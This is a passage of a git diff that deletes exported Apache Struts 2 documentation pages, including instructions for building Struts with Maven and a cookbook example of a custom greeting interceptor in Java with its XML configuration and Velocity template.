-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Building with Maven</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14147">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14147">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14147">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14147">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14147">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14147">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-information"><span class="aui-icon aui-icon-small aui-iconfont-info confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p><a shape="rect" class="external-link" href="http://maven.apache.org">Maven 3.0.0 or later</a> is required to build Struts 2</p></div></div>
-<p>First, let's review some Maven basics. Maven uses the notion of a build <em>life-cycle</em> to which plugins can attach. Plugins are similar to Ant tasks. When a Maven build is invoked, we specify a point in the life-cycle up to which the build <em>should</em> proceed. The <em>compile</em> phase comes before <em>test</em>, and <em>test</em> comes before <em>package</em>, and <em>package</em> comes before <em>install</em>. Once we have Maven setup, we can invoke the Struts build, and s [...]
-
-<h2 id="BuildingwithMaven-Installing">Installing</h2>
-
-<p>The <em>install</em> phase builds up the project ("package"), and installs any JARs it needs into your local repository (e.g. <code>~/.m2/repository</code>). Once installed, the JARs can be used by any other Maven project you build.&#160; The <em>install</em> phase is the <strong>default</strong> phase if none is specified.</p>
-
-<p>To run a basic install, change to the root of the source distribution, and enter</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Go!</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&gt; mvn
-</pre>
-</div></div>
-<p>That's it! Maven will download any dependencies the build needs; run all unit tests; package up the JARs; then install the new JARs locally. For your convenience, copies of the JARs can be found in the <em>target</em> directories of each module. For example, after the build, the main JAR can found at <code>core/target/struts2-core-2.0-SNAPSHOT.jar</code>.</p>
-<div class="confluence-information-macro confluence-information-macro-warning"><p class="title">It's supposed to be automatic, but you might still have to press the button</p><span class="aui-icon aui-icon-small aui-iconfont-error confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>Sometimes, licensing restrictions prevent Maven from downloading all the JARs that a build might need. For example, JavaMail and Activation, can only be downloaded from Sun. When this happens, Maven will display a helpful message that explains how to install these JARs manually. After downloading the required JAR, follow the instructions to install it to the your local repository. Once installed, the JAR is available to all your Maven builds, not just Struts.</p></div></div>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Initial Build Successful</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-[INFO] Reactor Summary:
-[INFO]
-[INFO] Struts 2 .......................................... SUCCESS [6.016s]
-[INFO] XWork: Core ....................................... SUCCESS [1:08.086s]
-[INFO] Struts 2 Core ..................................... SUCCESS [2:42.604s]
-[INFO] Struts Plugins .................................... SUCCESS [0.944s]
-[INFO] Struts 2 Spring Plugin ............................ SUCCESS [13.523s]
-[INFO] Struts 2 Convention Plugin ........................ SUCCESS [16.473s]
-[INFO] Struts 2 JUnit Plugin ............................. SUCCESS [13.325s]
-[INFO] Webapps ........................................... SUCCESS [1.027s]
-[INFO] Blank Webapp ...................................... SUCCESS [9.572s]
-[INFO] JBoss Blank Webapp ................................ SUCCESS [7.814s]
-[INFO] Mail Reader Webapp ................................ SUCCESS [7.028s]
-[INFO] Struts 2 Portlet Plugin ........................... SUCCESS [20.995s]
-[INFO] Struts 2 DWR Plugin ............................... SUCCESS [4.432s]
-[INFO] Struts 2 Tiles Plugin ............................. SUCCESS [4.451s]
-[INFO] Struts 2 Portlet Tiles Plugin ..................... SUCCESS [3.741s]
-[INFO] Portlet Webapp .................................... SUCCESS [28.480s]
-[INFO] Struts 2 Struts 1 Plugin .......................... SUCCESS [8.353s]
-[INFO] Struts 2 Dojo Plugin .............................. SUCCESS [30.181s]
-[INFO] Struts 2 JSF Plugin ............................... SUCCESS [6.000s]
-[INFO] Struts 2 Configuration Browser Plugin ............. SUCCESS [7.531s]
-[INFO] Struts 2 Sitemesh Plugin .......................... SUCCESS [6.159s]
-[INFO] Struts 2 JSON Plugin .............................. SUCCESS [16.944s]
-[INFO] Showcase Webapp ................................... SUCCESS [20.303s]
-[INFO] Struts 2 REST Plugin .............................. SUCCESS [10.015s]
-[INFO] Struts 2 Rest Showcase Example .................... SUCCESS [6.928s]
-[INFO] Struts 2 Codebehind Plugin ........................ SUCCESS [10.394s]
-[INFO] Struts 2 Java Templates Plugin .................... SUCCESS [9.633s]
-[INFO] Struts 2 Jasper Reports Plugin .................... SUCCESS [5.920s]
-[INFO] Struts 2 JFreeChart Plugin ........................ SUCCESS [18.296s]
-[INFO] Struts 2 Pell Multipart Plugin .................... SUCCESS [3.891s]
-[INFO] Struts 2 Plexus Plugin ............................ SUCCESS [4.715s]
-[INFO] Struts 2 Sitegraph Plugin ......................... SUCCESS [8.009s]
-[INFO] Struts 2 TestNG Plugin ............................ SUCCESS [6.012s]
-[INFO] Struts 2 OVal Plugin .............................. SUCCESS [9.629s]
-[INFO] Struts 2 OSGi Plugin .............................. SUCCESS [8.118s]
-[INFO] Struts 2 Embedded JSP Plugin ...................... SUCCESS [30.524s]
-[INFO] Struts 2 GXP Plugin ............................... SUCCESS [4.878s]
-[INFO] Struts 2 CDI Plugin ............................... SUCCESS [7.620s]
-[INFO] Struts 2 Tiles 3 Plugin ........................... SUCCESS [5.132s]
-[INFO] Struts OSGi Bundles ............................... SUCCESS [0.254s]
-[INFO] Struts 2 OSGi Admin Bundle ........................ SUCCESS [5.204s]
-[INFO] Struts 2 OSGi Demo Bundle ......................... SUCCESS [4.582s]
-[INFO] Struts 2 Maven Archetypes ......................... SUCCESS [0.198s]
-[INFO] Struts 2 Archetypes - Angular JS .................. SUCCESS [10.509s]
-[INFO] Struts 2 Archetypes - Blank ....................... SUCCESS [1.440s]
-[INFO] Struts 2 Archetypes - Blank Convention ............ SUCCESS [1.324s]
-[INFO] Struts 2 Archetypes - Database Portlet ............ SUCCESS [0.990s]
-[INFO] Struts 2 Archetypes - Plugin ...................... SUCCESS [0.923s]
-[INFO] Struts 2 Archetypes - Portlet ..................... SUCCESS [0.888s]
-[INFO] Struts 2 Archetypes - Starter ..................... SUCCESS [1.992s]
-[INFO] Struts 2 Assembly ................................. SUCCESS [1:37.556s]
-[INFO] ------------------------------------------------------------------------
-[INFO] BUILD SUCCESS
-[INFO] ------------------------------------------------------------------------
-[INFO] Total time: 12:23.728s
-[INFO] Finished at: Wed Oct 30 17:26:27 CET 2013
-[INFO] Final Memory: 57M/945M
-[INFO] ------------------------------------------------------------------------
-</pre>
-</div></div>
-
-<h3 id="BuildingwithMaven-Otherphases">Other phases</h3>
-
-<p>There are other phases that can be useful when working with Maven. The <em>package</em> phase will just JAR (or WAR) the modules. The <em>test</em> phase will only execute unit-tests. The <em>compile</em> phase will only build the source-code (but not the test sources). And the <em>clean</em> phase will remove all artifacts, typically the entire <em>target</em> directory.</p>
-
-<h2 id="BuildingwithMaven-BuildingIDEprojectfiles">Building IDE project files</h2>
-
-<p>Maven has a great feature that will allow you to build up your IDEA or Eclipse project files based on the project build structure. Using the Maven project files helps keep developers in-sync and efficient. The IDEA project files are pre-configured to define in the Run/Debug menu many common tasks, such as "execute all tests", "launch the showcase sample app", and so fort.</p>
-
-<h3 id="BuildingwithMaven-IDEAbyJetBrains">IDEA by JetBrains</h3>
-
-<p>The Maven IDEA plugin creates IDEA project and modules files, based on the Maven build configuraton (pom.xml).</p>
-
-<p>First, be sure you have the latest IDEA plugin for Maven.</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Get the latest plugin!</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-mvn -DconnectionUrl=scm:svn:http://svn.apache.org/repos/asf/maven/plugins/trunk/maven-idea-plugin \
-    -Dgoals=install \
-    scm:bootstrap
-</pre>
-</div></div>
-<p>Most often, we use Maven to build projects, but it can also run plugins directly. To build an IDEA project file for Struts 2, including all the modules, run</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Generate the project files</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&gt; mvn idea:idea -Papps,extras,thirdparty,xwork
-</pre>
-</div></div>
-<p>Maven will generate <em>struts-parent.ipr</em>, <em>struts-parent.iws</em>, and an <em>iml</em> file for each module listed Open up <em>struts-parent.ipr</em> in IDEA, and you should be good to go.</p>
-
-<p>If you ever need to rebuild your projects, running the <code>idea:idea</code> command again will update your files without overriding any information that doesn't conflict. If you do want to overwrite the project files, specify the overwrite parameter as true.</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Starting over</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&gt; mvn idea:idea -Doverwrite=true -Papps,extras,thirdparty,plugins,xwork
-
-If you only need to rebuild some of the modules, adjust the list of "profiles".
-</pre>
-</div></div>
-<div class="confluence-information-macro confluence-information-macro-tip"><p class="title">Clearing the cache</p><span class="aui-icon aui-icon-small aui-iconfont-approve confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>If you find the xwork module causing you problems, such as displaying as "XWork" when it should be named "xwork", the problem is likely to be within IDEA. Try clearing out your IDEA system cache and then run it again</p></div></div>
-
-<h2 id="BuildingwithMaven-Eclipse">Eclipse</h2>
-
-<p>For Eclipse, try</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Generating Eclipse</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&gt; mvn -Pthirdparty,plugins,xwork eclipse:eclipse
-</pre>
-</div></div>
-<div class="confluence-information-macro confluence-information-macro-information"><p class="title">Feedback Wanted</p><span class="aui-icon aui-icon-small aui-iconfont-info confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>Many Struts 2 developers use IDEA, and the Eclipse project files are not as well-tested or featureful as the IDEA versions. But as far as we know, they work!</p></div></div>
-
-<h2 id="BuildingwithMaven-IMPORTANT:RunningtheSampleApplicationsfromEclipseornon-IDEAIDEs">IMPORTANT: Running the Sample Applications from Eclipse or non-IDEA IDEs</h2>
-
-<p>Currently the sample applications can be deployed using the <a shape="rect" class="external-link" href="http://www.mortbay.org/maven-plugin/index.html" rel="nofollow">Maven 2 Jetty plugin</a>.  For example, you can run the showcase example application from the command line:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Runnning Showcase in Linux</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-cd apps/showcase
-mvn jetty:run
-</pre>
-</div></div>
-<p>You could also use one of the Maven IDE plugins to run the plugin or simply execute the <code>mvn</code> or <code>mvn.bat</code> file as an external application within your IDE.<br clear="none">
-A good tutorial on how to use the Maven 2 jetty plugin along with your IDE, including JPDA debugging support, can be found at the <a shape="rect" class="external-link" href="http://cwiki.apache.org/WICKET/maven-jetty-plugin.html">Apache Wicket documentation</a>.</p>
-
-<h2 id="BuildingwithMaven-MavenTips">Maven Tips</h2>
-
-<p>A few helpful tips for using Maven are provided:</p>
-
-<h3 id="BuildingwithMaven-SkipexportingpagesfromConfluence">Skip exporting pages from Confluence</h3>
-
-<p>The whole Struts2 documentation resists on Confluence and during normal build process is exported with SiteExporter tool locally to html files. To perform that, you must have an account on Confluence. In most cases you don't need to export the whole Confluence, so you can skip this, just type command:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-mvn clean install -DskipWiki
-</pre>
-</div></div>
-
-<h3 id="BuildingwithMaven-Skipcreatingassemblies">Skip creating assemblies</h3>
-
-<p>During normal development cycle you don't need to create assembly packages which consist of all the libraries, example apps and docs - you can skip them as well:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-mvn clean install -DskipAssembly
-</pre>
-</div></div>
-
-<h3 id="BuildingwithMaven-Offlinemode">Offline mode</h3>
-
-<p>If you are disconnected from the Internet or simply wish to make your build faster, pass in the <strong>-o</strong> argument and Maven won't check for new modules to download.</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Offline Mode</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-mvn -o
-</pre>
-</div></div>
-
-<h3 id="BuildingwithMaven-OutOfMemoryError">OutOfMemoryError</h3>
-
-<p>If you get an OutOfMemoryError while running the tests:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Memory Settings</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-// Bash
-export MAVEN_OPTS=-Xmx512m
-
-// Windows
-set MAVEN_OPTS=-Xmx512m
-</pre>
-</div></div>
-
-<h3 id="BuildingwithMaven-Skippingtestexecution">Skipping test execution</h3>
-
-<p>Although this shouldn't ever happen, sometimes tests do fail and you need to build the framework anyway. If there's a problem, you can pass in the skip tests parameter.</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Skip Tests</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-mvn -Dmaven.test.skip=true
-</pre>
-</div></div>
-<p>Of course, if you find tests are failing, please submit a patch to fix them!</p>
-
-<h3 id="BuildingwithMaven-Debuggingbuildfailures">Debugging build failures</h3>
-
-<p>Struts 2 depends on the current snapshot artifact of XWork 2.  Unfortunately, if XWork 2 is modified in a significant way, the Struts build doesn't check for and retrieve a new version of the XWork snapshot jar, resulting in compilation or unit test failures.</p>
-
-<p>The solution is to clear out any stale XWork 2 jars in your local Maven repository, usually by removing the directory <code>~/.m2/repository/opensymphony</code>.  This will force the Struts Maven build to pull down a fresh copy of XWork and hopefully resolve your problem.</p>
-
-<h2 id="BuildingwithMaven-Mirrors">Mirrors</h2>
-
-<p>The default mirror for Maven builds ("ibiblio") can be slow and unreliable. Maven lets you specify <a shape="rect" class="external-link" href="http://maven.apache.org/guides/mini/guide-mirror-settings.html">alternative mirrors</a> so that you don't have to depend on ibiblio for everything.</p>
-
-<p>You can add new mirrors through the Settings file (~/.m2/settings.xml).</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Mirror, Mirror</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;settings&gt;
-
-  &lt;mirrors&gt;
-    &lt;mirror&gt;
-      &lt;id&gt;dotsrc&lt;/id&gt;
-      &lt;url&gt;http://mirrors.dotsrc.org/maven2&lt;/url&gt;
-      &lt;mirrorOf&gt;central&lt;/mirrorOf&gt;
-    &lt;/mirror&gt;
-  &lt;/mirrors&gt;
-
-&lt;/settings&gt;
-</pre>
-</div></div>
-<div class="confluence-information-macro confluence-information-macro-tip"><span class="aui-icon aui-icon-small aui-iconfont-approve confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>Sometimes the alternative mirrors have problems too or aren't updated at the same frequency as the main mirror. If you have trouble building, try commenting out the aternative mirror.</p></div></div>
-
-<h2 id="BuildingwithMaven-Firsttimebuilding">First time building</h2>
-
-<p>In some cases it has been seen that Maven will complain if a module doesn't exist, even though it is part of the current build. Often, the missing module turns up when executing <code>mvn package</code>. A simple fix for this is to run <code>mvn install</code> instead. If you have to do this, it will probably only be a one time thing.</p>
-
-<h3 id="BuildingwithMaven-Next:">Next: <a shape="rect" href="creating-and-signing-a-distribution.html">Creating and Signing a Distribution</a></h3></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/building-your-own-interceptor.html b/content/docs/building-your-own-interceptor.html
deleted file mode 100644
index af0612a..0000000
--- a/content/docs/building-your-own-interceptor.html
+++ /dev/null
@@ -1,233 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Building Your Own Interceptor</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="cookbook.html">Cookbook</a>&nbsp;&gt;&nbsp;<a href="building-your-own-interceptor.html">Building Your Own Interceptor</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Building Your Own Interceptor</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=23337">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=23337">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=23337">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=23337">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=23337">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=23337">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="BuildingYourOwnInterceptor-BuildingyourownInterceptor">Building your own Interceptor</h2>
-
-<p>If none of the above interceptors suit your particular need, you will have to implement your own interceptor. Fortunately, this is an easy task to accomplish. Suppose we need an interceptor that places a greeting in the Session according to the time of the day (morning, afternoon or evening). Here's how we could implement it:</p>
-
-<h3 id="BuildingYourOwnInterceptor-GreetingInterceptor.java:">GreetingInterceptor.java:</h3>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-package cookbook;
-
-import java.util.Calendar;
-import com.opensymphony.xwork.interceptor.Interceptor;
-import org.apache.struts2.ActionInvocation;
-
-public class GreetingInterceptor implements Interceptor {
-  public void init() { }
-  public void destroy() { }
-  public String intercept(ActionInvocation invocation) throws Exception {
-    Calendar calendar = Calendar.getInstance();
-    int hour = calendar.get(Calendar.HOUR_OF_DAY);
-    String greeting = (hour &lt; 6) ? "Good evening" :
-	((hour &lt; 12) ? "Good morning":
-	((hour &lt; 18) ? "Good afternoon": "Good evening"));
-	invocation.getInvocationContext().getSession().put("Greeting", greeting);
-	String result = invocation.invoke();
-	return result;
-    }
-}
-</pre>
-</div></div>
-
-<h3 id="BuildingYourOwnInterceptor-struts.xml">struts.xml</h3>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;!DOCTYPE xwork PUBLIC "-//OpenSymphony Group//XWork 1.0//EN"
-"http://www.opensymphony.com/xwork/xwork-1.0.dtd"&gt;
-
-&lt;xwork&gt;
-	&lt;!-- Include defaults (from Struts JAR). --&gt;
-	&lt;include file="struts-default.xml" /&gt;
-
-	&lt;!-- Configuration for the default package. --&gt;
-	&lt;package name="default" extends="webwork-default"&gt;
-            &lt;interceptors&gt;
-		&lt;interceptor name="Greeting" class="cookbook.GreetingInterceptor" /&gt;
-  	    &lt;/interceptors&gt;
-
-   	    &lt;!-- Greeting  --&gt;
-	    &lt;action name="Greeting"&gt;
-	      &lt;result type="velocity"&gt;Greeting.vm&lt;/result&gt;
-	        &lt;interceptor-ref name="Greeting" /&gt;
-	    &lt;/action&gt;
-	&lt;/package&gt;
-&lt;/struts&gt;
-</pre>
-</div></div>
-
-<h3 id="BuildingYourOwnInterceptor-Greeting.vm:">Greeting.vm:</h3>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;html&gt;
-&lt;head&gt;
-&lt;title&gt;Cookbook - Building Your Own Interceptor&lt;/title&gt;
-&lt;/head&gt;
-&lt;body&gt;
-
-#set ($ses = $req.getSession())
-&lt;p&gt;&lt;b&gt;${ses.getAttribute('Greeting')}!&lt;/b&gt;&lt;/p&gt;
-
-&lt;/body&gt;
-&lt;/html&gt;
-</pre>
-</div></div>
-<p>Let's take a look at our interceptor class first. As explained before, the interceptor must implement <code>com.opensymphony.xwork.interceptor.Interceptor</code>'s methods: <code>init()</code>, called during interceptor initialization, <code>destroy()</code>, called during destruction, and most importantly, <code>intercept(ActionInvocation invocation)</code>, which is where we place the code that does the work.</p>
-
-<p>Notice that our interceptor returns the result from <code>invocation.invoke()</code> which is the method responsible for executing the next interceptor in the stack or, if this is the last one, the action. This means that the interceptor has the power of short-circuiting the action invocation and return a result string without executing the action at all! Use this with caution, though.</p>
-
-<p>One other thing that interceptors can do is execute code after the action has executed. To do that, just place code after the invocation.invoke() call. </p>
-
-<p>The <code>struts.xml</code> configuration and the result page are pretty straightforward and require no further explanation. A custom Action is not neede for this example, so we omit the class reference, and use the default ActionSupport class.</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/can-an-action-tag-run-another-method-apart-from-the-default-execute-method.html b/content/docs/can-an-action-tag-run-another-method-apart-from-the-default-execute-method.html
deleted file mode 100644
index b230b0b..0000000
--- a/content/docs/can-an-action-tag-run-another-method-apart-from-the-default-execute-method.html
+++ /dev/null
@@ -1,157 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
